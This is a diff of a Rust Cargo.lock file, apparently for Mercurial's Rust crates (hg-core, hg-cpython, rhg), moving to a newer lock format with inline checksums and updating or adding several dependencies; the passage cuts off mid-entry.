(registry+https://github.com/rust-lang/crates.io-index)", - "log 0.4.11 (registry+https://github.com/rust-lang/crates.io-index)", - "regex 1.4.2 (registry+https://github.com/rust-lang/crates.io-index)", - "termcolor 1.1.2 (registry+https://github.com/rust-lang/crates.io-index)", + "atty", + "humantime", + "log", + "regex", + "termcolor", ] [[package]] name = "flate2" version = "1.0.19" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7411863d55df97a419aa64cb4d2f167103ea9d767e2c54a1868b7ac3f6b47129" dependencies = [ - "cfg-if 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)", - "crc32fast 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)", - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "libz-sys 1.1.2 (registry+https://github.com/rust-lang/crates.io-index)", - "miniz_oxide 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)", + "cfg-if 1.0.0", + "crc32fast", + "libc", + "libz-sys", + "miniz_oxide", ] [[package]] name = "format-bytes" -version = "0.1.3" +version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c4e89040c7fd7b4e6ba2820ac705a45def8a0c098ec78d170ae88f1ef1d5762" dependencies = [ - "format-bytes-macros 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)", - "proc-macro-hack 0.5.19 (registry+https://github.com/rust-lang/crates.io-index)", + "format-bytes-macros", + "proc-macro-hack", ] [[package]] name = "format-bytes-macros" -version = "0.1.2" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b05089e341a0460449e2210c3bf7b61597860b07f0deae58da38dbed0a4c6b6d" dependencies = [ - "proc-macro-hack 0.5.19 (registry+https://github.com/rust-lang/crates.io-index)", - "proc-macro2 1.0.24 (registry+https://github.com/rust-lang/crates.io-index)", - "quote 1.0.7 (registry+https://github.com/rust-lang/crates.io-index)", - "syn 1.0.54 (registry+https://github.com/rust-lang/crates.io-index)", + "proc-macro-hack", + "proc-macro2", + "quote", + "syn", ] [[package]] name = "fuchsia-cprng" version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a06f77d526c1a601b7c4cdd98f54b5eaabffc14d5f2f0296febdc7f357c6d3ba" [[package]] name = "gcc" version = "0.3.55" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f5f3913fa0bfe7ee1fd8248b6b9f42a5af4b9d65ec2dd2c3c26132b950ecfc2" [[package]] name = "getrandom" version = "0.1.15" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc587bc0ec293155d5bfa6b9891ec18a1e330c234f896ea47fbada4cadbe47e6" dependencies = [ - "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)", - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "wasi 0.9.0+wasi-snapshot-preview1 (registry+https://github.com/rust-lang/crates.io-index)", + "cfg-if 0.1.10", + "libc", + "wasi 0.9.0+wasi-snapshot-preview1", ] [[package]] name = "glob" version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b919933a397b79c37e33b77bb2aa3dc8eb6e165ad809e58ff75bc7db2e34574" [[package]] name = "hermit-abi" version = "0.1.17" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5aca5565f760fb5b220e499d72710ed156fdb74e631659e99377d9ebfbd13ae8" dependencies = [ - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", + "libc", ] [[package]] -name = "hex" -version = "0.4.2" -source = "registry+https://github.com/rust-lang/crates.io-index" - -[[package]] name = "hg-core" version = "0.1.0" dependencies = [ - "byteorder 1.3.4 (registry+https://github.com/rust-lang/crates.io-index)", - "clap 2.33.3 (registry+https://github.com/rust-lang/crates.io-index)", - "crossbeam-channel 0.4.4 (registry+https://github.com/rust-lang/crates.io-index)", - "flate2 1.0.19 (registry+https://github.com/rust-lang/crates.io-index)", - "format-bytes 0.1.3 (registry+https://github.com/rust-lang/crates.io-index)", - "hex 0.4.2 (registry+https://github.com/rust-lang/crates.io-index)", - "im-rc 15.0.0 (registry+https://github.com/rust-lang/crates.io-index)", - "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)", - "log 0.4.11 (registry+https://github.com/rust-lang/crates.io-index)", - "memchr 2.3.4 (registry+https://github.com/rust-lang/crates.io-index)", - "memmap 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)", - "micro-timer 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)", - "pretty_assertions 0.6.1 (registry+https://github.com/rust-lang/crates.io-index)", - "rand 0.7.3 (registry+https://github.com/rust-lang/crates.io-index)", - "rand_distr 0.2.2 (registry+https://github.com/rust-lang/crates.io-index)", - "rand_pcg 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)", - "rayon 1.5.0 (registry+https://github.com/rust-lang/crates.io-index)", - "regex 1.4.2 (registry+https://github.com/rust-lang/crates.io-index)", - "rust-crypto 0.2.36 (registry+https://github.com/rust-lang/crates.io-index)", - "same-file 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)", - "tempfile 3.1.0 (registry+https://github.com/rust-lang/crates.io-index)", - "twox-hash 1.6.0 (registry+https://github.com/rust-lang/crates.io-index)", - "zstd 0.5.3+zstd.1.4.5 (registry+https://github.com/rust-lang/crates.io-index)", + "byteorder", + "bytes-cast", + "clap", + "crossbeam-channel 0.4.4", + "derive_more", + "flate2", + "format-bytes", + "home", + "im-rc", + "lazy_static", + "log", + "memmap", + "micro-timer", + "pretty_assertions", + "rand 0.7.3", + "rand_distr", + "rand_pcg", + "rayon", + "regex", + "rust-crypto", + "same-file", + "tempfile", + "twox-hash", + "zstd", ] [[package]] name = "hg-cpython" version = "0.1.0" dependencies = [ - "cpython 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)", - "env_logger 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)", - "hg-core 0.1.0", - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "log 0.4.11 (registry+https://github.com/rust-lang/crates.io-index)", + "cpython", + "crossbeam-channel 0.4.4", + "env_logger", + "hg-core", + "libc", + "log", +] + +[[package]] +name = "home" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2456aef2e6b6a9784192ae780c0f15bc57df0e918585282325e8c8ac27737654" +dependencies = [ + "winapi", ] [[package]] name = "humantime" version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df004cfca50ef23c36850aaaa59ad52cc70d0e90243c3c7737a4dd32dc7a3c4f" dependencies = [ - "quick-error 1.2.3 (registry+https://github.com/rust-lang/crates.io-index)", + "quick-error", ] [[package]] name = "im-rc" version = "15.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ca8957e71f04a205cb162508f9326aea04676c8dfd0711220190d6b83664f3f" dependencies = [ - "bitmaps 2.1.0 (registry+https://github.com/rust-lang/crates.io-index)", - "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)", - "rand_xoshiro 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)", - "sized-chunks 0.6.2 (registry+https://github.com/rust-lang/crates.io-index)", - "typenum 1.12.0 (registry+https://github.com/rust-lang/crates.io-index)", - "version_check 0.9.2 (registry+https://github.com/rust-lang/crates.io-index)", + "bitmaps", + "rand_core 0.5.1", + "rand_xoshiro", + "sized-chunks", + "typenum", + "version_check", ] [[package]] name = "itertools" version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "284f18f85651fe11e8a991b2adb42cb078325c996ed026d994719efcfca1d54b" dependencies = [ - "either 1.6.1 (registry+https://github.com/rust-lang/crates.io-index)", + "either", ] [[package]] name = "jobserver" version = "0.1.21" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c71313ebb9439f74b00d9d2dcec36440beaf57a6aa0623068441dd7cd81a7f2" dependencies = [ - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", + "libc", ] [[package]] name = "lazy_static" version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "libc" version = "0.2.81" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1482821306169ec4d07f6aca392a4681f66c75c9918aa49641a2595db64053cb" [[package]] name = "libz-sys" version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "602113192b08db8f38796c4e85c39e960c145965140e918018bcde1952429655" dependencies = [ - "cc 1.0.66 (registry+https://github.com/rust-lang/crates.io-index)", - "pkg-config 0.3.19 (registry+https://github.com/rust-lang/crates.io-index)", - "vcpkg 0.2.11 (registry+https://github.com/rust-lang/crates.io-index)", + "cc", + "pkg-config", + "vcpkg", ] [[package]] name = "log" version = "0.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fabed175da42fed1fa0746b0ea71f412aa9d35e76e95e59b192c64b9dc2bf8b" dependencies = [ - "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)", + "cfg-if 0.1.10", ] [[package]] name = "maybe-uninit" version = "2.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60302e4db3a61da70c0cb7991976248362f30319e88850c487b9b95bbf059e00" [[package]] name = "memchr" version = "2.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ee1c47aaa256ecabcaea351eae4a9b01ef39ed810004e298d2511ed284b1525" [[package]] name = "memmap" version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6585fd95e7bb50d6cc31e20d4cf9afb4e2ba16c5846fc76793f11218da9c475b" dependencies = [ - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "winapi 0.3.9 (registry+https://github.com/rust-lang/crates.io-index)", + "libc", + "winapi", ] [[package]] name = "memoffset" version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "157b4208e3059a8f9e78d559edc658e13df41410cb3ae03979c83130067fdd87" dependencies = [ - "autocfg 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)", + "autocfg", ] [[package]] name = "micro-timer" version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2620153e1d903d26b72b89f0e9c48d8c4756cba941c185461dddc234980c298c" dependencies = [ - "micro-timer-macros 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)", - "scopeguard 1.1.0 (registry+https://github.com/rust-lang/crates.io-index)", + "micro-timer-macros", + "scopeguard", ] [[package]] name = "micro-timer-macros" version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e28a3473e6abd6e9aab36aaeef32ad22ae0bd34e79f376643594c2b152ec1c5d" dependencies = [ - "proc-macro2 1.0.24 (registry+https://github.com/rust-lang/crates.io-index)", - "quote 1.0.7 (registry+https://github.com/rust-lang/crates.io-index)", - "scopeguard 1.1.0 (registry+https://github.com/rust-lang/crates.io-index)", - "syn 1.0.54 (registry+https://github.com/rust-lang/crates.io-index)", + "proc-macro2", + "quote", + "scopeguard", + "syn", ] [[package]] name = "miniz_oxide" version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f2d26ec3309788e423cfbf68ad1800f061638098d76a83681af979dc4eda19d" dependencies = [ - "adler 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)", - "autocfg 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)", + "adler", + "autocfg", +] + +[[package]] +name = "num-integer" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2cc698a63b549a70bc047073d2949cce27cd1c7b0a4a862d08a8031bc2801db" +dependencies = [ + "autocfg", + "num-traits", ] [[package]] name = "num-traits" version = "0.2.14" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a64b1ec5cda2586e284722486d802acf1f7dbdc623e2bfc57e65ca1cd099290" dependencies = [ - "autocfg 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)", + "autocfg", ] [[package]] name = "num_cpus" version = "1.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05499f3756671c15885fee9034446956fff3f243d6077b91e5767df161f766b3" dependencies = [ - "hermit-abi 0.1.17 (registry+https://github.com/rust-lang/crates.io-index)", - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", + "hermit-abi", + "libc", ] [[package]] name = "output_vt100" version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53cdc5b785b7a58c5aad8216b3dfa114df64b0b06ae6e1501cef91df2fbdf8f9" dependencies = [ - "winapi 0.3.9 (registry+https://github.com/rust-lang/crates.io-index)", + "winapi", +] + +[[package]] +name = "paste" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "45ca20c77d80be666aef2b45486da86238fabe33e38306bd3118fe4af33fa880" +dependencies = [ + "paste-impl", + "proc-macro-hack", +] + +[[package]] +name = "paste-impl" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d95a7db200b97ef370c8e6de0088252f7e0dfff7d047a28528e47456c0fc98b6" +dependencies = [ + "proc-macro-hack", ] [[package]] name = "pkg-config" version = "0.3.19" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3831453b3449ceb48b6d9c7ad7c96d5ea673e9b470a1dc578c2ce6521230884c" [[package]] name = "ppv-lite86" version = "0.2.10" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac74c624d6b2d21f425f752262f42188365d7b8ff1aff74c82e45136510a4857" [[package]] name = "pretty_assertions" version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f81e1644e1b54f5a68959a29aa86cde704219254669da328ecfdf6a1f09d427" dependencies = [ - "ansi_term 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)", - "ctor 0.1.16 (registry+https://github.com/rust-lang/crates.io-index)", - "difference 2.0.0 (registry+https://github.com/rust-lang/crates.io-index)", - "output_vt100 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)", + "ansi_term", + "ctor", + "difference", + "output_vt100", ] [[package]] name = "proc-macro-hack" version = "0.5.19" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbf0c48bc1d91375ae5c3cd81e3722dff1abcf81a30960240640d223f59fe0e5" [[package]] name = "proc-macro2" version = "1.0.24" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e0704ee1a7e00d7bb417d0770ea303c1bccbabf0ef1667dae92b5967f5f8a71" dependencies = [ - "unicode-xid 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)", + "unicode-xid", ] [[package]] name = "python27-sys" -version = "0.4.1" +version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f485897ed7048f5032317c4e427800ef9f2053355516524d73952b8b07032054" dependencies = [ - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "regex 1.4.2 (registry+https://github.com/rust-lang/crates.io-index)", + "libc", + "regex", ] [[package]] name = "python3-sys" -version = "0.4.1" +version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b29b99c6868eb02beb3bf6ed025c8bcdf02efc149b8e80347d3e5d059a806db" dependencies = [ - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "regex 1.4.2 (registry+https://github.com/rust-lang/crates.io-index)", + "libc", + "regex", ] [[package]] name = "quick-error" version = "1.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" [[package]] name = "quote" version = "1.0.7" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa563d17ecb180e500da1cfd2b028310ac758de548efdd203e18f283af693f37" dependencies = [ - "proc-macro2 1.0.24 (registry+https://github.com/rust-lang/crates.io-index)", + "proc-macro2", ] [[package]] name = "rand" version = "0.3.23" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64ac302d8f83c0c1974bf758f6b041c6c8ada916fbb44a609158ca8b064cc76c" dependencies = [ - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "rand 0.4.6 (registry+https://github.com/rust-lang/crates.io-index)", + "libc", + "rand 0.4.6", ] [[package]] name = "rand" version = "0.4.6" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "552840b97013b1a26992c11eac34bdd778e464601a4c2054b5f0bff7c6761293" dependencies = [ - "fuchsia-cprng 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)", - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "rand_core 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)", - "rdrand 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)", - "winapi 0.3.9 (registry+https://github.com/rust-lang/crates.io-index)", + "fuchsia-cprng", + "libc", + "rand_core 0.3.1", + "rdrand", + "winapi", ] [[package]] name = "rand" version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" dependencies = [ - "getrandom 0.1.15 (registry+https://github.com/rust-lang/crates.io-index)", - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "rand_chacha 0.2.2 (registry+https://github.com/rust-lang/crates.io-index)", - "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)", - "rand_hc 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)", + "getrandom", + "libc", + "rand_chacha", + "rand_core 0.5.1", + "rand_hc", ] [[package]] name = "rand_chacha" version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" dependencies = [ - "ppv-lite86 0.2.10 (registry+https://github.com/rust-lang/crates.io-index)", - "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)", + "ppv-lite86", + "rand_core 0.5.1", ] [[package]] name = "rand_core" version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a6fdeb83b075e8266dcc8762c22776f6877a63111121f5f8c7411e5be7eed4b" dependencies = [ - "rand_core 0.4.2 (registry+https://github.com/rust-lang/crates.io-index)", + "rand_core 0.4.2", ] [[package]] name = "rand_core" version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c33a3c44ca05fa6f1807d8e6743f3824e8509beca625669633be0acbdf509dc" [[package]] name = "rand_core" version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" dependencies = [ - "getrandom 0.1.15 (registry+https://github.com/rust-lang/crates.io-index)", + "getrandom", ] [[package]] name = "rand_distr" version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96977acbdd3a6576fb1d27391900035bf3863d4a16422973a409b488cf29ffb2" dependencies = [ - "rand 0.7.3 (registry+https://github.com/rust-lang/crates.io-index)", + "rand 0.7.3", ] [[package]] name = "rand_hc" version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" dependencies = [ - "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)", + "rand_core 0.5.1", ] [[package]] name = "rand_pcg" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429" dependencies = [ - "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)", + "rand_core 0.5.1", ] [[package]] name = "rand_xoshiro" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9fcdd2e881d02f1d9390ae47ad8e5696a9e4be7b547a1da2afbc61973217004" dependencies = [ - "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)", + "rand_core 0.5.1", ] [[package]] name = "rayon" version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b0d8e0819fadc20c74ea8373106ead0600e3a67ef1fe8da56e39b9ae7275674" dependencies = [ - "autocfg 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)", - "crossbeam-deque 0.8.0 (registry+https://github.com/rust-lang/crates.io-index)", - "either 1.6.1 (registry+https://github.com/rust-lang/crates.io-index)", - "rayon-core 1.9.0 (registry+https://github.com/rust-lang/crates.io-index)", + "autocfg", + "crossbeam-deque", + "either", + "rayon-core", ] [[package]] name = "rayon-core" version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ab346ac5921dc62ffa9f89b7a773907511cdfa5490c572ae9be1be33e8afa4a" dependencies = [ - "crossbeam-channel 0.5.0 (registry+https://github.com/rust-lang/crates.io-index)", - "crossbeam-deque 0.8.0 (registry+https://github.com/rust-lang/crates.io-index)", - "crossbeam-utils 0.8.1 (registry+https://github.com/rust-lang/crates.io-index)", - "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)", - "num_cpus 1.13.0 (registry+https://github.com/rust-lang/crates.io-index)", + "crossbeam-channel 0.5.0", + "crossbeam-deque", + "crossbeam-utils 0.8.1", + "lazy_static", + "num_cpus", ] [[package]] name = "rdrand" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "678054eb77286b51581ba43620cc911abf02758c91f93f479767aed0f90458b2" dependencies = [ - "rand_core 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)", + "rand_core 0.3.1", ] [[package]] name = "redox_syscall" version = "0.1.57" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41cc0f7e4d5d4544e8861606a285bb08d3e70712ccc7d2b84d7c0ccfaf4b05ce" [[package]] name = "regex" version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38cf2c13ed4745de91a5eb834e11c00bcc3709e773173b2ce4c56c9fbde04b9c" dependencies = [ - "aho-corasick 0.7.15 (registry+https://github.com/rust-lang/crates.io-index)", - "memchr 2.3.4 (registry+https://github.com/rust-lang/crates.io-index)", - "regex-syntax 0.6.21 (registry+https://github.com/rust-lang/crates.io-index)", - "thread_local 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)", + "aho-corasick", + "memchr", + "regex-syntax", + "thread_local", ] [[package]] name = "regex-syntax" version = "0.6.21" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b181ba2dcf07aaccad5448e8ead58db5b742cf85dfe035e2227f137a539a189" [[package]] name = "remove_dir_all" version = "0.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" dependencies = [ - "winapi 0.3.9 (registry+https://github.com/rust-lang/crates.io-index)", + "winapi", ] [[package]] name = "rhg" version = "0.1.0" dependencies = [ - "clap 2.33.3 (registry+https://github.com/rust-lang/crates.io-index)", - "env_logger 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)", - "format-bytes 0.1.3 (registry+https://github.com/rust-lang/crates.io-index)", - "hg-core 0.1.0", - "log 0.4.11 (registry+https://github.com/rust-lang/crates.io-index)", - "micro-timer 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)", + "chrono", + "clap", + "derive_more", + "env_logger", + "format-bytes", + "hg-core", + "lazy_static", + "log", + "micro-timer", + "regex", + "users", ] [[package]] name = "rust-crypto" version = "0.2.36" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f76d05d3993fd5f4af9434e8e436db163a12a9d40e1a58a726f27a01dfd12a2a" dependencies = [ - "gcc 0.3.55 (registry+https://github.com/rust-lang/crates.io-index)", - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "rand 0.3.23 (registry+https://github.com/rust-lang/crates.io-index)", - "rustc-serialize 0.3.24 (registry+https://github.com/rust-lang/crates.io-index)", - "time 0.1.44 (registry+https://github.com/rust-lang/crates.io-index)", + "gcc", + "libc", + "rand 0.3.23", + "rustc-serialize", + "time", ] [[package]] name = "rustc-serialize" version = "0.3.24" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dcf128d1287d2ea9d80910b5f1120d0b8eede3fbf1abe91c40d39ea7d51e6fda" [[package]] name = "same-file" version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" dependencies = [ - "winapi-util 0.1.5 (registry+https://github.com/rust-lang/crates.io-index)", + "winapi-util", ] [[package]] name = "scopeguard" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" [[package]] name = "sized-chunks" version = "0.6.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ec31ceca5644fa6d444cc77548b88b67f46db6f7c71683b0f9336e671830d2f" dependencies = [ - "bitmaps 2.1.0 (registry+https://github.com/rust-lang/crates.io-index)", - "typenum 1.12.0 (registry+https://github.com/rust-lang/crates.io-index)", + "bitmaps", + "typenum", ] [[package]] name = "static_assertions" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" [[package]] name = "strsim" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a" [[package]] name = "syn" version = "1.0.54" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2af957a63d6bd42255c359c93d9bfdb97076bd3b820897ce55ffbfbf107f44" dependencies = [ - "proc-macro2 1.0.24 (registry+https://github.com/rust-lang/crates.io-index)", - "quote 1.0.7 (registry+https://github.com/rust-lang/crates.io-index)", - "unicode-xid 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)", + "proc-macro2", + "quote", + "unicode-xid", ] [[package]] name = "tempfile" version = "3.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a6e24d9338a0a5be79593e2fa15a648add6138caa803e2d5bc782c371732ca9" dependencies = [ - "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)", - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "rand 0.7.3 (registry+https://github.com/rust-lang/crates.io-index)", - "redox_syscall 0.1.57 (registry+https://github.com/rust-lang/crates.io-index)", - "remove_dir_all 0.5.3 (registry+https://github.com/rust-lang/crates.io-index)", - "winapi 0.3.9 (registry+https://github.com/rust-lang/crates.io-index)", + "cfg-if 0.1.10", + "libc", + "rand 0.7.3", + "redox_syscall", + "remove_dir_all", + "winapi", ] [[package]] name = "termcolor" version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dfed899f0eb03f32ee8c6a0aabdb8a7949659e3466561fc0adf54e26d88c5f4" dependencies = [ - "winapi-util 0.1.5 (registry+https://github.com/rust-lang/crates.io-index)", + "winapi-util", ] [[package]] name = "textwrap" version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060" dependencies = [ - "unicode-width 0.1.8 (registry+https://github.com/rust-lang/crates.io-index)", + "unicode-width", ] [[package]] name = "thread_local" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d40c6d1b69745a6ec6fb1ca717914848da4b44ae29d9b3080cbee91d72a69b14" dependencies = [ - "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)", + "lazy_static", ] [[package]] name = "time" version = "0.1.44" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6db9e6914ab8b1ae1c260a4ae7a49b6c5611b40328a735b21862567685e73255" dependencies = [ - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "wasi 0.10.0+wasi-snapshot-preview1 (registry+https://github.com/rust-lang/crates.io-index)", - "winapi 0.3.9 (registry+https://github.com/rust-lang/crates.io-index)", + "libc", + "wasi 0.10.0+wasi-snapshot-preview1", + "winapi", ] [[package]] name = "twox-hash" version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04f8ab788026715fa63b31960869617cba39117e520eb415b0139543e325ab59" dependencies = [ - "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)", - "rand 0.7.3 (registry+https://github.com/rust-lang/crates.io-index)", - "static_assertions 1.1.0 (registry+https://github.com/rust-lang/crates.io-index)", + "cfg-if 0.1.10", + "rand 0.7.3", + "static_assertions", ] [[package]] name = "typenum" version = "1.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "373c8a200f9e67a0c95e62a4f52fbf80c23b4381c05a17845531982fa99e6b33" [[package]] name = "unicode-width" version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9337591893a19b88d8d87f2cec1e73fad5cdfd10e5a6f349f498ad6ea2ffb1e3" [[package]] name = "unicode-xid" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7fe0bb3479651439c9112f72b6c505038574c9fbb575ed1bf3b797fa39dd564" + +[[package]] +name = "users" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24cc0f6d6f267b73e5a2cadf007ba8f9bc39c6a6f9666f8cf25ea809a153b032" +dependencies = [ + "libc", + "log", +] [[package]] name = "vcpkg" version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 